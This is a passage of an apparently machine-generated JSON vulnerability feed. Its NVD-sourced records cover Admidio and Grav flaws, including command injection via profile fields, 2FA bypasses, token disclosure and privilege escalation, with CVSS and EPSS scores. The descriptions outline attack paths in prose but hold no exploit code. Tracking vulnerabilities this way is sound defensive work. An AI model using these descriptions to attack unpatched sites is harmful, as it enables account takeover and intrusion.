fixes.","publishedAt":"2026-10-12T17:17:28.843Z","updatedAt":"2026-10-26T17:17:12.713Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109331","asOf":"2026-10-26T17:17:12.713Z"},"epss":{"probability":0.00135,"percentile":0.02956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109331","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109331","type":"primary","publishedAt":"2026-10-12T17:17:28.843Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109329","cveId":"CVE-2026-109329","aliases":[],"kind":"vulnerability","title":"Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations.","summary":"Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.","detail":"Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:28.500Z","updatedAt":"2026-10-15T15:14:38.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109329","asOf":"2026-10-15T15:14:38.513Z"},"epss":{"probability":0.00285,"percentile":0.20829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109329&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109329","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109329","type":"primary","publishedAt":"2026-10-12T17:17:28.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109329&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109329, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109326","cveId":"CVE-2026-109326","aliases":[],"kind":"vulnerability","title":"Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root.","summary":"Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root. Unauthenticated attackers can request nested repositories such as user/.git to retrieve Git config, refs, and objects, reconstructing unpublished history or committed secrets.","detail":"Grav before 2.1.7 contains an information disclosure vulnerability because bundled nginx, lighttpd, IIS, and Caddy 2 configurations block .git only at document root. Unauthenticated attackers can request nested repositories such as user/.git to retrieve Git config, refs, and objects, reconstructing unpublished history or committed secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:28.017Z","updatedAt":"2026-10-18T13:16:33.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109326","asOf":"2026-10-18T13:16:33.617Z"},"epss":{"probability":0.00349,"percentile":0.28255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109326&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109326","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109326","type":"primary","publishedAt":"2026-10-12T17:17:28.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109326&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109326, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109325","cveId":"CVE-2026-109325","aliases":[],"kind":"vulnerability","title":"Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values.","summary":"Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values. Unauthenticated attackers behind a same-host HTTP proxy can read profiler records exposing system and plugin configuration, secrets, request metadata, and queries.","detail":"Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values. Unauthenticated attackers behind a same-host HTTP proxy can read profiler records exposing system and plugin configuration, secrets, request metadata, and queries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:27.860Z","updatedAt":"2026-10-13T19:18:32.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109325","asOf":"2026-10-13T19:18:32.477Z"},"epss":{"probability":0.00404,"percentile":0.3442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109325&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109325","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109325","type":"primary","publishedAt":"2026-10-12T17:17:27.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109325&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109325, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109324","cveId":"CVE-2026-109324","aliases":[],"kind":"vulnerability","title":"Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images.","summary":"Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images. Attackers can reference a Twig or Markdown transform so GD or Imagick decodes the full source without dimension checks, letting anonymous requests repeatedly cause page unavailability.","detail":"Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images. Attackers can reference a Twig or Markdown transform so GD or Imagick decodes the full source without dimension checks, letting anonymous requests repeatedly cause page unavailability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:27.690Z","updatedAt":"2026-10-13T17:17:25.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109324","asOf":"2026-10-13T17:17:25.623Z"},"epss":{"probability":0.0032,"percentile":0.2479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109324","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109324","type":"primary","publishedAt":"2026-10-12T17:17:27.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109318","cveId":"CVE-2026-109318","aliases":[],"kind":"vulnerability","title":"Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions...","summary":"Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions into profile fields. When the gravuser or gravfull author mode is enabled, attackers can set a malicious username, full name, or email that reaches PHP exec() via git commit --author, running commands as the web-server account.","detail":"Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions into profile fields. When the gravuser or gravfull author mode is enabled, attackers can set a malicious username, full name, or email that reaches PHP exec() via git commit --author, running commands as the web-server account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:26.807Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109318","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.0122,"percentile":0.68469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109318","type":"primary","publishedAt":"2026-10-12T17:17:26.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109317","cveId":"CVE-2026-109317","aliases":[],"kind":"vulnerability","title":"Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin...","summary":"Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin or api parent grants. Attackers with api.users.write can edit account access maps or invitations so the inheriting permission resolver satisfies requireSuper checks, accessing super-only API endpoints.","detail":"Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin or api parent grants. Attackers with api.users.write can edit account access maps or invitations so the inheriting permission resolver satisfies requireSuper checks, accessing super-only API endpoints.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:26.653Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109317","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.0036,"percentile":0.29496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109317","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109317","type":"primary","publishedAt":"2026-10-12T17:17:26.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109315","cveId":"CVE-2026-109315","aliases":[],"kind":"vulnerability","title":"Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list...","summary":"Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list omits system.debugger.token. Attackers can render the token through editor-authored Twig and supply it as X-Clockwork-Auth to read profiler records with configuration, request metadata, and database queries.","detail":"Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list omits system.debugger.token. Attackers can render the token through editor-authored Twig and supply it as X-Clockwork-Auth to read profiler records with configuration, request metadata, and database queries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:26.340Z","updatedAt":"2026-10-13T19:18:32.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109315","asOf":"2026-10-13T19:18:32.220Z"},"epss":{"probability":0.00298,"percentile":0.22304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109315","type":"primary","publishedAt":"2026-10-12T17:17:26.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109314","cveId":"CVE-2026-109314","aliases":[],"kind":"vulnerability","title":"Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route.","summary":"Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route. When a victim opens an emailed reset link, the publisher-controlled page rendered by Login::getPage() exposes the username and bearer token, enabling takeover of more privileged accounts.","detail":"Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route. When a victim opens an emailed reset link, the publisher-controlled page rendered by Login::getPage() exposes the username and bearer token, enabling takeover of more privileged accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:26.193Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109314","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00284,"percentile":0.20673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109314","type":"primary","publishedAt":"2026-10-12T17:17:26.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109313","cveId":"CVE-2026-109313","aliases":[],"kind":"vulnerability","title":"Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through...","summary":"Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through remember-me cookie restoration. Attackers can obtain a persistent remember-me cookie after the password step and restore it as a fully authorized session without completing the second factor.","detail":"Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through remember-me cookie restoration. Attackers can obtain a persistent remember-me cookie after the password step and restore it as a fully authorized session without completing the second factor.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:26.043Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109313","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00351,"percentile":0.285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109313","type":"primary","publishedAt":"2026-10-12T17:17:26.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109312","cveId":"CVE-2026-109312","aliases":[],"kind":"vulnerability","title":"Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA...","summary":"Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA session is fully authorized. Attackers with a victim's password who can publish a page form without an access rule can invoke update_user before completing 2FA to disable twofa_enabled and take over the account.","detail":"Grav Login plugin 2.7.0 before 